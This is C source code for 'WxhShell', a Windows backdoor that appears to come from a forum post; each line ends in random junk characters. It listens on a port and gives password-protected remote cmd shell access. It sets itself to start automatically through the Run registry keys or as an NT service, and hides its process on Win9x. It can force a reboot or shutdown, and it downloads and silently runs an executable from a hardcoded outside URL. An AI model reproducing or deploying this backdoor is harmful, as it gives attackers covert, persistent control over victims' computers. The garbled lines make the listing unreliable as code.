    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:Gz9u+  
    else { Hf!o6 o  
    closesocket(wsh); Hv2t_QjKT  
    ExitThread(0); T^.;yU_B?  
    } Lsa&A+fru  
    break; +InAK>NZ'  
    } gjB36R  
  // 获取shell }PdS?[R  
  case 's': { 7wS )'zR;  
    CmdShell(wsh); +M-x*;.  
    closesocket(wsh); 0Ou;MU*v  
    ExitThread(0); H1X38  
    break; K0$8t%Z.  
  } PhL}V|W>  
  // 退出 Q`k=VSUk  
  case 'x': { ep`WYR|B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tj/X 7|  
    CloseIt(wsh); (PAkKY}  
    break; 4#Wczk-b  
    } `(s&H8x#  
  // 离开 P @N7g`u3}  
  case 'q': { >MD['=J[d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0 Y[LzLn  
    closesocket(wsh); WBT/;),}:  
    WSACleanup(); R{Q*"sf  
    exit(1); U5Say3r  
    break; ,>%2`Z)  
        } A*#.7Np!"  
  } 1sp>UBG  
  } j}R!'m(P'  
G?$|aQ0j  
  // 提示信息 ?u.&BP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , 6 P:S7  
} tUouO0_l  
  } /W&Ro5-  
MTJ ."e<B  
  return; 'L|& qy@  
} MzZYzz  
QCB2&lN\&L  
// shell模块句柄 feM%-  
int CmdShell(SOCKET sock) }= OI (Wy  
{ c"`o V! m  
STARTUPINFO si; x<^+nTzN  
ZeroMemory(&si,sizeof(si)); _K"|}bM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W>3[+wB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e~C5{XEE  
PROCESS_INFORMATION ProcessInfo; Sq^f}q  
char cmdline[]="cmd"; qW*JB4`?a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BoQLjS{kN  
  return 0; 4FSA:]o-  
} I\djZG$s;N  
1OB,UU"S$  
// 自身启动模式 OUCL tn\  
int StartFromService(void) 'p<lfT  
{ YjaEKM8*  
typedef struct  1@Abs  
{ +vOlA#t%Z  
  DWORD ExitStatus; w#]> Nf  
  DWORD PebBaseAddress; /@Qg'Q#  
  DWORD AffinityMask; &:1PF.)N  
  DWORD BasePriority; wh4ik`S 1  
  ULONG UniqueProcessId; A[lbBR  
  ULONG InheritedFromUniqueProcessId; d%1Tv1={  
}   PROCESS_BASIC_INFORMATION; ~uy{6U{&I  
Ip#BR!$n  
PROCNTQSIP NtQueryInformationProcess; xs+pCK|  
0/{$5gy&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .B 2?%2S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q72}V9I9  
HKu? J  
  HANDLE             hProcess; f Z8%Z   
  PROCESS_BASIC_INFORMATION pbi; ' >a(|  
{ FVLH:{U^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }diB  
  if(NULL == hInst ) return 0; 4C@ .X[r  
3ZdheenK9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _dOR-<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fik*-$V`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GIXxOea1  
1k-YeQNe  
  if (!NtQueryInformationProcess) return 0; B \?We\y  
1aEM&=h_W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )1 ]P4  
  if(!hProcess) return 0; 4n6EkTa  
/ZC/yGdIS_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M"QT(u+  
Uc oVp}vl  
  CloseHandle(hProcess); "rhU2jT=c  
A4 ;EtW+F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z&fXxp  
if(hProcess==NULL) return 0; qm RdO R  
u!kC+0Y  
HMODULE hMod; I*,!zym  
char procName[255]; ,w>WuRN"  
unsigned long cbNeeded; mqw5\7s?  
hf5yTs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 80qSPitj  
yX%q7ex  
  CloseHandle(hProcess); )_[eqr  
c6 O1Z\M@\  
if(strstr(procName,"services")) return 1; // 以服务启动 kmfz=q?  
J<K- Yeph  
  return 0; // 注册表启动 <{$0mUn;s|  
} M0Eq 7:Ba  
-M]NdgI  
// 主模块 \#1*r'V8  
int StartWxhshell(LPSTR lpCmdLine) ]/byz_7]  
{ >`\f,yq l6  
  SOCKET wsl; ahezDDR-.i  
BOOL val=TRUE; 21(8/F ~{  
  int port=0; 5R^e  
  struct sockaddr_in door; )ro3yq4??  
|Z\?nZ~  
  if(wscfg.ws_autoins) Install(); y"N7r1Pf  
<*D{uMw  
port=atoi(lpCmdLine); -P I$SA,  
]IX6>p,  
if(port<=0) port=wscfg.ws_port; Ql~9a [8T~  
oW0A8_|9  
  WSADATA data; |>w>}w`~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :X1~  
+{b!,D3sa*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )8BGN'jyi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  m}t.E  
  door.sin_family = AF_INET; _8*}S=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~!PAs_O  
  door.sin_port = htons(port); )- 2sk@y  
9 \2<#,R1q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < 5 Ft3sd  
closesocket(wsl); U[l7n3Y=  
return 1; PwF 1Pr`r  
} <d2?A}<  
(~C_zG  
  if(listen(wsl,2) == INVALID_SOCKET) { c!,&]*h"k  
closesocket(wsl); '. Ww*N  
return 1; aQ@9(j> F  
} U)v['5%  
  Wxhshell(wsl); WCa>~dF>  
  WSACleanup(); /g|H?F0  
}>)e~\Tdzb  
return 0; _e2=BE`W)  
OR{<)L  
} 608}-J=3#  
c~_nO d  
// 以NT服务方式启动 RQaB _bg7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pKSn 3-A  
{ to}g4  
DWORD   status = 0; Dt1v`T~=?  
  DWORD   specificError = 0xfffffff; ,'FH[2  
G9`;Z^<L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i5f8}`w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $P=B66t ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; + F{hFuHV  
  serviceStatus.dwWin32ExitCode     = 0; D'{NEk@  
  serviceStatus.dwServiceSpecificExitCode = 0;  18(hrj  
  serviceStatus.dwCheckPoint       = 0; 2(SU# /,  
  serviceStatus.dwWaitHint       = 0; <>gX'te  
TH;kJ{[}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ny(`An  
  if (hServiceStatusHandle==0) return; ;$`5L"I5$  
' 7lHWqN<  
status = GetLastError(); 4*j6~  
  if (status!=NO_ERROR) |@84l  
{ l|, Hj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NNKI+!vg  
    serviceStatus.dwCheckPoint       = 0; Z&f@)j  
    serviceStatus.dwWaitHint       = 0; )K=%s%3h<  
    serviceStatus.dwWin32ExitCode     = status; 3K8#,TK3  
    serviceStatus.dwServiceSpecificExitCode = specificError; W^a-K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]lT8Z-h@  
    return; ^Y;}GeA,  
  } %l4;-x<e  
^M:Y$9r_s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zmA]@'j  
  serviceStatus.dwCheckPoint       = 0; &.m.ruab  
  serviceStatus.dwWaitHint       = 0; {;z{U;j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JJIlR{WY_  
} -<g&U*/E  
i6S5 4&^!  
// 处理NT服务事件,比如:启动、停止 r JvtE}x1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OouIV3  
{ u[{j;l(  
switch(fdwControl) ce3UB~Q  
{ fwkklg^  
case SERVICE_CONTROL_STOP: p`dH4y]D  
  serviceStatus.dwWin32ExitCode = 0; `Z#0kpXk_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #9( 0.!v  
  serviceStatus.dwCheckPoint   = 0; @3^D[  
  serviceStatus.dwWaitHint     = 0; ?%|w?Fdx-  
  { 2HNAB4 E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >,Z[IAU.x5  
  } 9\QeH'A  
  return;  wZ(H[be  
case SERVICE_CONTROL_PAUSE: (G>S`B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e9LP!"@EY  
  break; S'%|40U  
case SERVICE_CONTROL_CONTINUE: -qbx:Kk (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [NxC7p:Lo  
  break; BR*'SF\T  
case SERVICE_CONTROL_INTERROGATE: K@f@vyw]  
  break; d@0p<at>~  
}; L:.z FW,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bf21u 9  
} 8Q{"W"]O7  
; ,vGw <|o  
// 标准应用程序主函数 ;u(#-C2^{l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *]7$/%.D  
{ -ho%9LW%|  
8[k:FGp>  
// 获取操作系统版本 5 O't-'  
OsIsNt=GetOsVer(); <UEta>jj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Daw;6f:  
@QN(ouqQ  
  // 从命令行安装 A_y]6~Mu?~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nv~H797B  
$_ BoG  
  // 下载执行文件 ~6Xr^An/Z  
if(wscfg.ws_downexe) { V 6*ohC:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (u{?aG~  
  WinExec(wscfg.ws_filenam,SW_HIDE); h 7P<3m}  
} n@JZ2K4  
'^{:HR#i  
if(!OsIsNt) { +55+%oGl  
// 如果时win9x,隐藏进程并且设置为注册表启动 M+L8~BD@  
HideProc(); _.{I1*6Y2  
StartWxhshell(lpCmdLine); >1$ vG  
} :Rroz]*  
else l%_r3W  
  if(StartFromService()) sTS Nu+  
  // 以服务方式启动 baO'FyCs9&  
  StartServiceCtrlDispatcher(DispatchTable); 9cnLf#  
else yrF"`/zv6|  
  // 普通方式启动 SSAf<44e  
  StartWxhshell(lpCmdLine); hr/H vB  
Y'{F^VxA/  
return 0; W"v"mjYud  
}  z@8W  
/$U< S"  
W=S<DtG2  
@2`$ XWD  
=========================================== !U "?vSl  
<k'%rz  
uxOeD%Z>  
[0?W>A*h  
?;YymD_  
tRCz[M&  
" TPF5?  
+V` *  
#include <stdio.h> l+UUv]:1  
#include <string.h> T&q0TBT  
#include <windows.h> \3WQ<t)W  
#include <winsock2.h> Wb%t6N?  
#include <winsvc.h> V{{Xz:   
#include <urlmon.h> Pm/Rc  
,+>JQ82  
#pragma comment (lib, "Ws2_32.lib") PC<[ $~  
#pragma comment (lib, "urlmon.lib") s L=}d[  
>]}c,4D(  
#define MAX_USER   100 // 最大客户端连接数 EY^+ N>  
#define BUF_SOCK   200 // sock buffer KNG7$icG  
#define KEY_BUFF   255 // 输入 buffer M(Tlkr  
T^DJ/uhd  
#define REBOOT     0   // 重启 m#,AD,s  
#define SHUTDOWN   1   // 关机 \|YIuzlO4  
:V!F~  
#define DEF_PORT   5000 // 监听端口 p9-s'F|@i  
rQsYt/  
#define REG_LEN     16   // 注册表键长度 eUVhNg  
#define SVC_LEN     80   // NT服务名长度 o JX4+uJ  
UGP,/[XI  
// 从dll定义API aCF=Og  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g2%fla7r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KL\hV .6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d` X1cG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !dV2:`|+  
@#2KmM~I  
// wxhshell配置信息 _Q9I W  
struct WSCFG { z=6zc-$y 9  
  int ws_port;         // 监听端口 !T"jvDYH  
  char ws_passstr[REG_LEN]; // 口令 {fI"p;|  
  int ws_autoins;       // 安装标记, 1=yes 0=no H(gETRh  
  char ws_regname[REG_LEN]; // 注册表键名  ae>B0#=  
  char ws_svcname[REG_LEN]; // 服务名 IBz)3gj J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =mYwO=:D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dvu8V_U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4q)+nh~s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JFu9_=%+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "O/ 6SV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6 hiWgbE  
1d 1 ~`B  
}; 4ATIF ;G'<  
(H6Mi.uZ  
// default Wxhshell configuration mMw--Gc?  
struct WSCFG wscfg={DEF_PORT, ECk* H  
    "xuhuanlingzhe", &&ZX<wOM  
    1, ~0Z.,p_  
    "Wxhshell", KA? J:  
    "Wxhshell", F EA t6  
            "WxhShell Service", dwqR,|  
    "Wrsky Windows CmdShell Service", \IP 9EFA  
    "Please Input Your Password: ", PY MofQaZ  
  1, ;~GBD]  
  "http://www.wrsky.com/wxhshell.exe", 1<;VD0XX  
  "Wxhshell.exe" QTospHf`  
    }; !LJ4 S  
-sxu7I  
// 消息定义模块 ^Rb*mI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >0JC u^9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;R]~9Aan  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k`B S{,=  
char *msg_ws_ext="\n\rExit."; _t>[gB,  
char *msg_ws_end="\n\rQuit."; l\WN  
char *msg_ws_boot="\n\rReboot..."; 3}lIY7 O  
char *msg_ws_poff="\n\rShutdown..."; V-9\@'gc  
char *msg_ws_down="\n\rSave to "; .Vrl:  
OCELG~  
char *msg_ws_err="\n\rErr!"; >BZ,g!N,J}  
char *msg_ws_ok="\n\rOK!"; /s@j{*Om  
C@WdPjxj  
char ExeFile[MAX_PATH]; o8X? 1  
int nUser = 0; ?&-$Zog  
HANDLE handles[MAX_USER]; LSrKi$   
int OsIsNt; 0"{-<Wot}  
\U>|^$4 #5  
SERVICE_STATUS       serviceStatus; G_`Ae%'h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^B!()39R?  
_+OCI%=:  
// 函数声明 Zi}j f25  
int Install(void); E:y^= Y  
int Uninstall(void); !j/54,  
int DownloadFile(char *sURL, SOCKET wsh); -TS5g1  
int Boot(int flag); ,AH2/^:%c  
void HideProc(void); q[(1zG%NbA  
int GetOsVer(void); 0ev='v8?  
int Wxhshell(SOCKET wsl); av bup  
void TalkWithClient(void *cs); j&[u$P*K  
int CmdShell(SOCKET sock); ~KczP1p  
int StartFromService(void); 3e9UDN2  
int StartWxhshell(LPSTR lpCmdLine); +ryB*nT  
M'VJE|+t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _UV_n!R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O1 !YHo  
mD%IHzbn H  
// 数据结构和表定义 [Z^26/5a  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Vu f4Z5  
{ ~ga WZQXyu  
{wscfg.ws_svcname, NTServiceMain}, 1\J9QZX0  
{NULL, NULL} ZK h4:D  
}; .,f]'!5  
Z7I\\M  
// 自我安装 yL %88,/  
int Install(void) 49ehj1Se  
{ WmkCV+thA  
  char svExeFile[MAX_PATH]; J:@yG1VIp  
  HKEY key; %2\6.c=c  
  strcpy(svExeFile,ExeFile); b94+GL U8b  
c-"vQ>ux+  
// 如果是win9x系统,修改注册表设为自启动 = |E8z u%  
if(!OsIsNt) { \,#;gS "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qq%~e41ec  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0mNL!"  
  RegCloseKey(key); N'CW Sf.e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' e %>Ip  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~x^Ra8A  
  RegCloseKey(key); 9&{z?*  
  return 0; Vha,rIi  
    } )q`.tsR>  
  } w3#0kl  
} *'*n}fM  
else { ~14|y|\/  
<"8F=3:uk  
// 如果是NT以上系统,安装为系统服务 4"UH~A;^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2f1Q&S  
if (schSCManager!=0) r4d#;S9{o  
{ {|'NpV  
  SC_HANDLE schService = CreateService ;ik,6_/Y  
  ( 2B^WZlx  
  schSCManager, kgI8PybY  
  wscfg.ws_svcname, z4(`>z2a  
  wscfg.ws_svcdisp, 2O- 4x  
  SERVICE_ALL_ACCESS, 9I*2xy|I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ta$55K0  
  SERVICE_AUTO_START, uw/N`u  
  SERVICE_ERROR_NORMAL, 4C )sjk?m  
  svExeFile, 3Kc9*]D  
  NULL, y\,,hs  
  NULL, zK>m4+)~  
  NULL, mDk6@Gd@U  
  NULL, {pdPp|YDZ-  
  NULL >f4[OBc  
  ); i(;.Y  
  if (schService!=0) 6uTC2ka[&R  
  { U2LD_-HZ  
  CloseServiceHandle(schService); rGrR;  
  CloseServiceHandle(schSCManager); G9Noch9 g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Dy1M}7  
  strcat(svExeFile,wscfg.ws_svcname); @R<z=n"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vz)R84   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Us^ 4Xe  
  RegCloseKey(key); B@S~v+Gr  
  return 0; |bhv7(_  
    } *>2e4j]  
  } #^yOW^  
  CloseServiceHandle(schSCManager); 4|\  
} x$t2Y<_  
} *3]2vq  
Kz z/]  
return 1; l-Ha*>gX[j  
} UFLx'VX d  
`PUxR8y  
// 自我卸载 s}-j.jzB{  
int Uninstall(void) $j8CF3d.6  
{ fP6\Ur  
  HKEY key; =M}tet }  
JH u>\{8V  
if(!OsIsNt) { _s<s14+od  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a4 7e  
  RegDeleteValue(key,wscfg.ws_regname); w`D$W&3>  
  RegCloseKey(key); 59p'U/|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IG7,-3  
  RegDeleteValue(key,wscfg.ws_regname); 6Q J.=.>b  
  RegCloseKey(key); C]fX=~?bGQ  
  return 0; _q}Cnp5  
  } CI\yP@DQ4  
} J{\(Y#|rHs  
} &['L7  
else { Bp@\p)P(  
&,3s2,1U(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cLRzm9  
if (schSCManager!=0) u+ hRaI;v  
{ NpCQ4 K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H:OpS-b  
  if (schService!=0) s5 {B1e  
  { 8B]\;m  
  if(DeleteService(schService)!=0) { J"@X>n  
  CloseServiceHandle(schService); U|{4=[  
  CloseServiceHandle(schSCManager); 1B:5O*I!J  
  return 0; :R3iLy  
  } *B \ @L  
  CloseServiceHandle(schService); 6!?] (  
  } Ekik_!aB  
  CloseServiceHandle(schSCManager); @t@B(1T  
} 8)1=5 n  
} wt;`_}g  
pQ!lY  
return 1; Q2)(tB= )  
} IOF!Ra:w  
A:D9qp  
// 从指定url下载文件 ^FQn\,  
int DownloadFile(char *sURL, SOCKET wsh) 3aBE[  
{ @'5*jXd  
  HRESULT hr; 7+}WU4  
char seps[]= "/"; ; yE.R[I  
char *token; GU9G5S.  
char *file; u!HX`~q+A  
char myURL[MAX_PATH]; (+0(A777M  
char myFILE[MAX_PATH]; zg@i7T  
J#F HR/zV  
strcpy(myURL,sURL); ;MK|l,aIQ  
  token=strtok(myURL,seps); IW>~Yl?  
  while(token!=NULL) B/qN1D]U.  
  { l'M/et{:  
    file=token; Q+wO\TtE  
  token=strtok(NULL,seps); Q'!'+;&%  
  } 2y|n!p T  
$Ff6nc=  
GetCurrentDirectory(MAX_PATH,myFILE); T31F8K3x  
strcat(myFILE, "\\"); a7uL {*ZR  
strcat(myFILE, file); jIwN,H1$-  
  send(wsh,myFILE,strlen(myFILE),0); ){z#Y#]dP  
send(wsh,"...",3,0); tw =A] a*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k.2GIc:5  
  if(hr==S_OK) 9;uH}j8sE  
return 0; ),y`Iw  
else k@s<*C  
return 1; ixK9/5T  
Dgc6rv#  
} F|y0q:U  
'Z=_zG/RX  
// 系统电源模块 vM]5IHqeE  
int Boot(int flag) 0%%y9;o  
{ JiO8 EIM  
  HANDLE hToken; cH$( *k9%M  
  TOKEN_PRIVILEGES tkp; dtTfV.y4w  
]Hq,Pr_+  
  if(OsIsNt) { akPd#mf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iw`|,-|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jcvq:i{  
    tkp.PrivilegeCount = 1; zDEgC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TQ :e! 32  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \kf n,m  
if(flag==REBOOT) { FV7'3fIa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -!mtLaLw  
  return 0; Gc*=n*@^K  
} {O).!  
else { 2L[!~h2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2<h~: L  
  return 0; `QRXQ c  
} auX(d -m  
  } bA2[=6  
  else { {dP6fr1z  
if(flag==REBOOT) { ?b'(39fj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `8#xO{B1  
  return 0; S 1^t;{"  
} g.blDOmlc  
else { KHx;r@{<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O"kb*//  
  return 0; ZR0 OqSp]  
} 'vu]b#l3  
} ZZwIB3sNhf  
n%RaEL  
return 1; >?)_, KL  
} YU`k^a7%  
K>LS8,8V  
// win9x进程隐藏模块 .iP>?9$f"  
void HideProc(void) @Q{:m)\  
{ nT2b"wkTT  
#`U?,>2q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \CE+P5  
  if ( hKernel != NULL ) R.l!KIq  
  { f%1\1_^g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7fzH(H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .@EzHe ^W  
    FreeLibrary(hKernel); 0S4Y3bac&  
  } n[qnrk*3 %  
@jjxgd'%&  
return; 92R,o'#  
} F7w\ctUP  
6(t'B!x  
// 获取操作系统版本 CS*lk!C  
int GetOsVer(void) [`E_/95  
{ [Mc Hl1a  
  OSVERSIONINFO winfo; H^`J(J+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ])bgUH  
  GetVersionEx(&winfo); #Tag"b`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f\=,_AQ  
  return 1; ZAeJTCCk  
  else ]9'F<T= $_  
  return 0; N+5f.c+S-  
} {R[V  
RhT:]  
// 客户端句柄模块 =h=-&DSA  
int Wxhshell(SOCKET wsl) `1Md1e:J  
{ sh0x<_  
  SOCKET wsh; Q%!xw(  
  struct sockaddr_in client; 7<(U`9W/q  
  DWORD myID; {M=B5-  
B-L@ 0gH  
  while(nUser<MAX_USER) Q>;Aq!mr=  
{ W>Pcj EI  
  int nSize=sizeof(client); 4T"L#o1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r8N)]Hs ZH  
  if(wsh==INVALID_SOCKET) return 1;  xiQc\k$  
sAs`O@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w 8cnSO  
if(handles[nUser]==0) U8HuqFC  
  closesocket(wsh);  tj8o6N#  
else ;}KJ[5i-V  
  nUser++; 8'fF{C  
  } RtxAIMzh?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ]SL+ZT  
PR(KDwsT&l  
  return 0; M&",7CPD(1  
} !Q%r4Nr  
CN-4FI)1D9  
// 关闭 socket : 4lR`%  
void CloseIt(SOCKET wsh) 3BLH d<  
{ t4~?m{  
closesocket(wsh); MIZ!+[At  
nUser--; XgKYL<k?S  
ExitThread(0); Z$m&F0g  
} >Rdi]:]Bv  
(r'NB  
// 客户端请求句柄 kDE:KV<"c  
void TalkWithClient(void *cs) ,m7Z w_.  
{ 9!2$?xqym  
j E5=e</  
  SOCKET wsh=(SOCKET)cs; nSZp,?^  
  char pwd[SVC_LEN]; Kuk@x.~0m  
  char cmd[KEY_BUFF]; yTe25l{QaF  
char chr[1]; fHI@' '0  
int i,j; =M4wP3V/  
K&dc< 4DC  
  while (nUser < MAX_USER) { u8<Fk !  
u V'C_H  
if(wscfg.ws_passstr) { **6X9ZIX[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :,/ \E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X C390t  
  //ZeroMemory(pwd,KEY_BUFF); y|9 LtQ  
      i=0; G&M)n*o  
  while(i<SVC_LEN) { >%_i#|dE>  
 Spo[JQ%6  
  // 设置超时 CJ#Yu3}  
  fd_set FdRead; #0#6eT{-  
  struct timeval TimeOut; la]Zk  
  FD_ZERO(&FdRead); G"vEtNoV  
  FD_SET(wsh,&FdRead); \tS| N40  
  TimeOut.tv_sec=8; F:0 E- z'  
  TimeOut.tv_usec=0; (~b0-3s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jt9@aN.mJN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OQyZ'  
3A\Hiy!{F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  M[R'  
  pwd=chr[0]; 1JI7P?\B  
  if(chr[0]==0xd || chr[0]==0xa) { WS@8Z0@RD  
  pwd=0; Dl}va  
  break; S|IDFDn  
  } IZ.b  
  i++; (51;cj>J  
    } IUh)g1u41O  
}k8&T\V!  
  // 如果是非法用户,关闭 socket 1py >[II@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %.{xo.`a[  
} |l?*' =  
k9&pX8#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mT1Q7ta*P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n{c-3w.uD  
|B),N f|a  
while(1) { '1 \UFz  
f{]W*!VV-  
  ZeroMemory(cmd,KEY_BUFF); GMob&0l8_  
)f%Q7  
      // 自动支持客户端 telnet标准   S8]YS@@D   
  j=0; 5*$z4O:Aa  
  while(j<KEY_BUFF) { ).$kp2IN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6" . v6  
  cmd[j]=chr[0]; <<1_rRL]  
  if(chr[0]==0xa || chr[0]==0xd) { ~~WX#Od*$  
  cmd[j]=0; %BRll  
  break; 6b4]dvl_  
  } elP#s5l4  
  j++; %Vsg4DRy  
    } ?T[K{t;~jo  
L i`OaP$  
  // 下载文件 F;Ubdxwwl  
  if(strstr(cmd,"http://")) { `{S4_'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k)fLJ9R  
  if(DownloadFile(cmd,wsh)) #}'sknvM}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x^UAtKSy  
  else HR?a93  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '494^1"io  
  } 3 W?H^1t  
  else { )7N$lY<  
B]cV|S|  
    switch(cmd[0]) { ]-u>HO g\  
  TJ(vq]|&  
